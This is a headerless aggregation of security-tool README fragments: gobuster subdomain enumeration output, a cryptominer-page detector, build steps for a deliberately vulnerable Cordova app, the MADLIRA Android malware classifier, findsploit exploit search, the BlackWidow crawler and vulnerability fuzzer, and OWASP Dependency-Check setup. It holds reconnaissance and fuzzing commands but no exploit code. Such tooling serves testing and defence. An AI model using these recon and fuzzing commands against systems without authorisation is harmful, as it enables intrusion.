Found: blog.google.com [216.58.220.105, 2404:6800:4006:801::2009]
Found: support.google.com [216.58.220.110, 2404:6800:4006:801::200e]
Found: news.google.com [216.58.220.110, 2404:6800:4006:801::200e]
Found: mail.google.com [216.58.220.101, 2404:6800:4006:801::2005]
=====================================================

$ gobuster -m dns -w subdomains.txt -u yp.to -i

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dns
[+] Url/Domain   : yp.to
[+] Threads      : 10
[+] Wordlist     : /tmp/test.txt
=====================================================
[-] Unable to validate base domain: yp.to
Found: cr.yp.to [131.155.70.11, 131.155.70.13]
=====================================================

$ gobuster -w subdomainsbig.txt -u doesntexist.com -m dns

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dns
[+] Url/Domain   : doesntexist.com
[+] Threads      : 10
[+] Wordlist     : subdomainsbig.txt
=====================================================
[-] Wildcard DNS found. IP address(es):  123.123.123.123
[-] To force processing of Wildcard DNS, specify the '-fw' switch.
=====================================================

$ gobuster -w subdomainsbig.txt -u doesntexist.com -m dns -fw

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dns
[+] Url/Domain   : doesntexist.com
[+] Threads      : 10
[+] Wordlist     : subdomainsbig.txt
=====================================================
[-] Wildcard DNS found. IP address(es):  123.123.123.123
Found: email.doesntexist.com
^C[!] Keyboard interrupt detected, terminating.
=====================================================

• Can also process single URL passed directly via command line
• All links found on the first (requested) page are also processed, if same-origin
• All configurable options are stored in config.js allowing easier modifications
• To reduce extra bandwidth and processing, all requests to resources like fonts, images, media, stylesheets are aborted

pacman -S nodejs npm
git clone https://github.com/1lastBr3ath/drmine.git && cd drmine
npm i --save puppeteer

node drmine.js list.txt

http://cm2.pw
http://cm2.pw/xmr/
https://example.com/

node drmine.js http://cm2.pw/xmr/

• Android SDK (https://developer.android.com/sdk/index.html) and
• Apache Cordova (https://cordova.apache.org/), version 6.3.0 or later are installed.

export ANDROID_HOME=<Android SDK Installation Directory>
export PATH=$ANDROID_HOME/tools:$PATH
export PATH=$ANDROID_HOME/platform-tools:$PATH

cd DVHMA-Featherweight
cordova plugin add ../plugins/DVHMA-Storage
cordova plugin add ../plugins/DVHMA-WebIntent 
cordova platform add android
cordova compile android

cordova run android 

• Achim D. Brucker
• Michael Herzberg

• Achim D. Brucker and Michael Herzberg. On the Static Analysis of Hybrid Mobile Apps: A Report on the State of Apache Cordova Nation. In International Symposium on Engineering Secure Software and Systems (ESSoS). Lecture Notes in Computer Science (9639), pages 72-88, Springer-Verlag, 2016. https://www.brucker.ch/bibliography/abstract/brucker.ea-cordova-security-2016 doi: 10.1007/978-3-319-30806-7_5

• MADLIRA.jar is the main application.
• noAPI.txt declares the prefix of APIs.
• family.txt lists malwares by family.
• Folder TrainData contains the training configuration and training model.
• Folder Samples contains sample data.
• Folder TempData contains data for kernel computation.

Command: MADLIRA TFIDF

• Collect benign applications and malicious applications and oput them in folders named benginAPKFolder and maliciousApkFolder, respectively.
• Prepare training data and pack them in two files named benignPack and maliciousPack by using the command:

MADLIRA TFIDF packAPK -PB benignApkFolder -B benignPack -PM maliciousApkFolder -M maliciousPack

• Extracting malicious behaviors from two packed files (benignPack and maliciousPack) by using the command:

MADLIRA TFIDF train -B benignPack -M maliciousPack

• Collect new applications and put them in a folder named checkApk.
• Detect malicious behaviors of applications in the folder checkApk by using the command:

MADLIRA TFIDF check -S checkApk

MADLIRA TFIDF train <Options>
        Compute the malicious specifications for given training data.
                -B <filename>: the archive file contains all graphs of training benwares.
                -M <filename>: the archive file contains all categories of training malwares.

MADLIRA TFIDF check <Options>
        Check malicious behaviors in the given applications in a folder.
                -S <folder>: the folder contains all applications (apk files).

MADLIRA TFIDF test <Options>
        Test the classifier for a given test data.
                -S <folder>: the folder contains all graphs for testing.

MADLIRA TFIDF clear
        Clean all training data.

MADLIRA TFIDF install
        Clean old training data and install a new data for training.
                -B <filename>: the archive file contains all graphs of training benwares.
                -M <filename>: the archive file contains all categories of training malwares.

• First collect training applications (APK files) and store them in folders named MalApkFolder and BenApkFolder.
• Pack training applications into archive files named MalPack and BenPack by using this command:

MADLIRA TFIDF packAPK -PB BenApkFolder -B BenPack -PM MalApkFolder -M MalPack

• Clean old training data:

MADLIRA TFIDF clear

• Compute the malicious graphs from the training packs (BenPack and MalPack)

MADLIRA TFIDF train -B BenPack -M MalPack

• put these applications in a folder named checkApk and use this command:

MADLIRA TFIDF check -S checkApk

Command: MADLIRA SVM

• Collect benign applications in a folder named benignApkFolder and malicious applications in a folder named maliciousApkFolder.
• Prepare training data by using the commands:

MADLIRA SVM packAPK -PB benignApkFolder -B benignPack -PM maliciousApkFolder -M maliciousPack

• Compute the training model by this command:

MADLIRA SVM train -B benignPack -M maliciousPack

• Collect new applications and put them in a folder named checkApk
• Detect malicious behaviors of applications in the folder checkApk by using the command:

MADLIRA SVM check -S checkApk

MADLIRA SVM train <Options>
        Compute the classifier for given training data.
                -T <T>: max length of the common walks (default value = 3).
                -l <lambda>: lambda value to control the importance of length of walks (default value = 0.4).
                -B <filename>: the archive file contains all graphs of training benwares.
                -M <filename>: the archive file contains all graphs of training malwares.

MADLIRA SVM check <Options>
        Check malicious behaviors in the applications in a folder.
                -S <foldername>: the folder contains all apk files.

MADLIRA SVM test <Options>
        Test the classifier for given graph data.
                -S <foldername>: the folder contains all graphs of test data.
                -n <n>: the number of test samples.

MADLIRA SVM clear
        Clean all training data.

• apktool-2.2.1 (https://ibotpeaches.github.io/Apktool/)
• ojalgo-41.0.0 (https://github.com/optimatika/ojAlgo)
• libsvm (http://www.csie.ntu.edu.tw/~cjlin/libsvm/)

• Khanh Huu The Dam and Tayssir Touili. Extracting Android Malicious Behaviors. In Proceedings of ForSE 2017
• Khanh Huu The Dam and Tayssir Touili. Learn Android malware. In Proceedings of IWSMA@ARES 2017

./install.sh

Search for all exploits and modules using a single search term:
*  findsploit <search_term_1> (ie. findsploit apache)

Search multiple search terms:
*  findsploit <search_term_1> <search_term_2> <search_term_3> ...

Show all NMap scripts:
*  findsploit nmap 

Search for all FTP NMap scripts:
*  findsploit nmap | grep ftp

Show all Metasploit auxiliary modules:
*  findsploit auxiliary

Show all Metasploit exploits:
*  findsploit exploits

Show all Metasploit encoder modules:
*  findsploit encoder

Show all Metasploit payloads modules:
*  findsploit payloads

Search all Metasploit payloads for windows only payloads:
*  findsploit payloads | grep windows

• Automatically collect all URL's from a target website
• Automatically collect all dynamic URL's and parameters from a target website
• Automatically collect all subdomains from a target website
• Automatically collect all phone numbers from a target website
• Automatically collect all email addresses from a target website
• Automatically collect all form URL's from a target website
• Automatically scan/fuzz for common OWASP TOP vulnerabilities
• Automatically saves all data into sorted text files

cp blackwidow /usr/bin/blackwidow 
cp injectx.py /usr/bin/injectx.py
pip install -r requirements.txt

blackwidow -u https://target.com - crawl target.com with 3 levels of depth.
blackwidow -d target.com -l 5 - crawl the domain: target.com with 5 levels of depth.
blackwidow -d target.com -l 5 -c 'test=test' - crawl the domain: target.com with 5 levels of depth using the cookie 'test=test'
blackwidow -d target.com -l 5 -s y - crawl the domain: target.com with 5 levels of depth and fuzz all unique parameters for OWASP vulnerabilities.
injectx.py https://test.com/uers.php?user=1&admin=true - Fuzz all GET parameters for common OWASP vulnerabilities.

git clone https://github.com/1N3/BlackWidow.git
cd BlackWidow
docker build -t BlackWidow .
docker run -it BlackWidow # Defaults to --help

$ ./bin/dependency-check.sh -h
$ ./bin/dependency-check.sh --project Testing --out . --scan [path to jar files to be scanned]

> .\bin\dependency-check.bat -h
> .\bin\dependency-check.bat --project Testing --out . --scan [path to jar files to be scanned]

$ brew update && brew install dependency-check
$ dependency-check -h
$ dependency-check --project Testing --out . --scan [path to jar files to be scanned]

<project>
<build>
<plugins>
            ...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
            ...
</plugins>
        ...
</build>
    ...
</project>

git clone --depth 1 git@github.com:jeremylong/DependencyCheck.git

$ mvn install
$ ./dependency-check-cli/target/release/bin/dependency-check.sh -h
$ ./dependency-check-cli/target/release/bin/dependency-check.sh --project Testing --out . --scan ./src/test/resources

> mvn install
> .\dependency-check-cli\target\release\bin\dependency-check.bat -h
> .\dependency-check-cli\target\release\bin\dependency-check.bat --project Testing --out . --scan ./src/test/resources

#!/bin/sh

OWASPDC_DIRECTORY=$HOME/OWASP-Dependency-Check
DATA_DIRECTORY="$OWASPDC_DIRECTORY/data"
REPORT_DIRECTORY="$OWASPDC_DIRECTORY/reports"

if [ ! -d "$DATA_DIRECTORY" ]; then
    echo "Initially creating persistent directories"
    mkdir -p "$DATA_DIRECTORY"
    chmod -R 777 "$DATA_DIRECTORY"

    mkdir -p "$REPORT_DIRECTORY"
    chmod -R 777 "$REPORT_DIRECTORY"
fi

# Make sure we are using the latest version
docker pull owasp/dependency-check

docker run --rm \
    --volume $(pwd):/src \
    --volume "$DATA_DIRECTORY":/usr/share/dependency-check/data \
    --volume "$REPORT_DIRECTORY":/report \
    owasp/dependency-check \
    --scan /src \
    --format "ALL" \
    --project "My OWASP Dependency Check Project"
    # Use suppression like this: (/src == $pwd)
    # --suppression "/src/security/dependency-check-suppression.xml"

<dependency-check
  failBuildOnCVSS="3"
  suppressionFile="suppression.xml">
</dependency-check>

<dependency-check
  failBuildOnCVSS="3">
<suppressionFile path="suppression.xml" />
</dependency-check>

<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<configuration>
<suppressionFile>suppression.xml</suppressionFile>
</configuration>
</plugin>

<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<configuration>
<suppressionFiles>
<suppressionFile>suppression.xml</suppressionFile>
</suppressionFiles>
</configuration>
</plugin>

buildscript {
    repositories {
  mavenLocal()
    }
    dependencies {
        classpath 'org.owasp:dependency-check-gradle:2.0.1-SNAPSHOT'
    }
}
apply plugin: 'org.owasp.dependencycheck'

dependencyCheck {
 suppressionFile='path/to/suppression.xml'
}
check.dependsOn dependencyCheckAnalyze

buildscript {
    repositories {
  mavenLocal()
    }
    dependencies {
        classpath 'org.owasp:dependency-check-gradle:2.0.1-SNAPSHOT'
    }
}
apply plugin: 'org.owasp.dependencycheck'

dependencyCheck {
 suppressionFiles = ['path/to/suppression1.xml', 'path/to/suppression2.xml']
}
check.dependsOn dependencyCheckAnalyze